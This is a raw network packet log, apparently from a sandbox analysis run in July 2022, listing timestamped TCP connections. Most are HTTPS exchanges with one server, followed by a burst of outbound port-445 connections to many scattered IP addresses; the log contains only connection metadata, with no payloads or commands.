Jul 20, 2022 09:08:24.804466009 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804471970 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804495096 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804528952 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804578066 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804582119 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804593086 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804651976 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804688931 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804716110 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804774046 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804812908 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.807627916 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.807640076 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.807662010 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.807879925 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.807962894 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.807979107 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808002949 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808026075 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808219910 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.808237076 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808260918 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808387041 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.808398962 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808491945 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.808502913 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808605909 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.808621883 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808789968 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.808804989 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808828115 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.808851004 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809022903 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.809032917 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809051037 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809068918 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809151888 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.809286118 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.809645891 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.809652090 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809664965 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809695005 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809802055 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.809809923 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809911966 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.809921026 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809940100 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.809959888 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.809964895 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.810112000 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.810121059 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.810148001 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.810182095 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.810410023 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.810503006 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.810566902 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.810574055 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.810584068 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.810602903 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.810650110 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.810853004 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811021090 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811026096 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811038971 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811062098 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811173916 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811182022 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811399937 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811410904 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811429977 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811445951 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811506987 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811513901 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811791897 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811804056 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811824083 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811831951 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811903954 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811912060 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811930895 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.811976910 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.811985016 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.812118053 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.851331949 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.851346016 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.851361990 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.851386070 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.851397991 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.851433039 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.851439953 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.851638079 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.851649046 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.851732016 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.851871967 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.852195978 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.853405952 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.853424072 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.884491920 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.884612083 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.916497946 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.916630030 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.928503990 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.928581953 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.932538986 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.932696104 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.008586884 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.008610010 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008624077 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008630037 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008764982 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.008773088 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008786917 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008889914 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.008902073 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008938074 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.008944988 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008958101 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.008982897 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.008985996 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009007931 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009016037 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009044886 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009052038 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009068012 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009090900 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009098053 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009124041 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009140015 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009166002 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009202957 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009208918 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009252071 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009258032 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009275913 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009289026 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009294987 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009352922 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009398937 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009495020 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009567976 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009584904 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009610891 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009649038 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009656906 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009677887 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009684086 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009701014 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009706974 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009721994 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009747028 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009783983 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009799957 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009864092 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009885073 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009910107 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009948969 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.009955883 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.009980917 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.010005951 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.010833979 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.010844946 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.010971069 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011215925 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011221886 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011236906 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011246920 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011359930 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011363983 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011425018 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011430025 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011495113 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011499882 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011512995 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011586905 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011591911 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011682987 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011693001 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011800051 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011809111 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011837959 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011846066 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.011897087 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.011904001 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.012010098 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.012058973 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.012068033 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.012144089 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013072968 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013088942 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013108015 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013127089 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013222933 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013231993 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013247013 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013269901 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013310909 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013317108 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013381958 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013387918 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013416052 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013444901 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013461113 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013492107 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013519049 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013530970 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013550043 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013592958 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013600111 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.013648033 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.013705969 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.014364004 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.014373064 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.014513016 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.014754057 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.014761925 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.014787912 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.014812946 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.014909983 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.014919043 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.015034914 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.015043020 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.015073061 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.015080929 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.015101910 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.015227079 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.015234947 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.015341043 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.015444994 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.015873909 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.026622057 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.026655912 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.026721954 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.026732922 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.026768923 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.026789904 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.027523041 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.027555943 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.027609110 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.027615070 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.027652979 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.027673960 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.028507948 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.028599024 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.030400991 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.030443907 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.030483007 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.030488968 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.030529022 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.030551910 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.031797886 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.031829119 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.031877041 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.031913042 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.066881895 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.066904068 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.066958904 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.066979885 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.067174911 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.067187071 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.067286015 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.067349911 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.067471981 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.067830086 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.068928003 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.068953991 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.095223904 CEST	50843	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:25.127007008 CEST	50844	445	192.168.2.6	26.9.163.2
Jul 20, 2022 09:08:25.127748013 CEST	50845	445	192.168.2.6	133.144.166.234
Jul 20, 2022 09:08:25.128462076 CEST	50846	445	192.168.2.6	82.248.193.253
Jul 20, 2022 09:08:25.129143000 CEST	50847	445	192.168.2.6	120.149.201.162
Jul 20, 2022 09:08:25.131591082 CEST	50848	445	192.168.2.6	42.85.191.98
Jul 20, 2022 09:08:25.136502028 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.136635065 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.140513897 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.142594099 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.157922983 CEST	50849	445	192.168.2.6	43.41.248.234
Jul 20, 2022 09:08:25.158698082 CEST	50850	445	192.168.2.6	26.95.67.170
Jul 20, 2022 09:08:25.159476995 CEST	50851	445	192.168.2.6	77.211.102.203
Jul 20, 2022 09:08:25.160243988 CEST	50852	445	192.168.2.6	164.40.151.45
Jul 20, 2022 09:08:25.160960913 CEST	50853	445	192.168.2.6	164.168.105.157
Jul 20, 2022 09:08:25.161839008 CEST	50854	445	192.168.2.6	61.236.91.4
Jul 20, 2022 09:08:25.170205116 CEST	50855	445	192.168.2.6	151.187.28.1
Jul 20, 2022 09:08:25.170245886 CEST	50856	445	192.168.2.6	38.170.110.78
Jul 20, 2022 09:08:25.170351028 CEST	50857	445	192.168.2.6	14.102.161.185
Jul 20, 2022 09:08:25.170432091 CEST	50858	445	192.168.2.6	194.113.162.193
Jul 20, 2022 09:08:25.170450926 CEST	50859	445	192.168.2.6	85.209.121.156
Jul 20, 2022 09:08:25.170567036 CEST	50860	445	192.168.2.6	215.8.66.133
Jul 20, 2022 09:08:25.170598030 CEST	50861	445	192.168.2.6	145.91.184.95
Jul 20, 2022 09:08:25.170675039 CEST	50862	445	192.168.2.6	63.213.116.32
Jul 20, 2022 09:08:25.170753002 CEST	50863	445	192.168.2.6	175.12.144.72
Jul 20, 2022 09:08:25.170804977 CEST	50864	445	192.168.2.6	203.184.72.231
Jul 20, 2022 09:08:25.170857906 CEST	50865	445	192.168.2.6	198.107.1.153
Jul 20, 2022 09:08:25.170911074 CEST	50866	445	192.168.2.6	12.137.196.49
Jul 20, 2022 09:08:25.171006918 CEST	50867	445	192.168.2.6	25.225.202.87
Jul 20, 2022 09:08:25.171046019 CEST	50868	445	192.168.2.6	174.63.80.252
Jul 20, 2022 09:08:25.171123028 CEST	50869	445	192.168.2.6	51.237.254.190
Jul 20, 2022 09:08:25.171205997 CEST	50870	445	192.168.2.6	120.21.75.179
Jul 20, 2022 09:08:25.171236992 CEST	50871	445	192.168.2.6	51.160.180.108
Jul 20, 2022 09:08:25.171339989 CEST	50872	445	192.168.2.6	78.9.186.21
Jul 20, 2022 09:08:25.217578888 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.217596054 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.217608929 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.217617035 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.217690945 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.217699051 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.217787027 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.217793941 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.217804909 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.217849970 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.217859030 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.217938900 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.217945099 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218080044 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218086958 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218101025 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218117952 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218162060 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218167067 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218285084 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218317032 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218353033 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218377113 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218465090 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218472004 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218486071 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218533993 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218539953 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218647003 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218677998 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218683958 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.218795061 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.218997002 CEST	50748	443	192.168.2.6	80.67.82.211
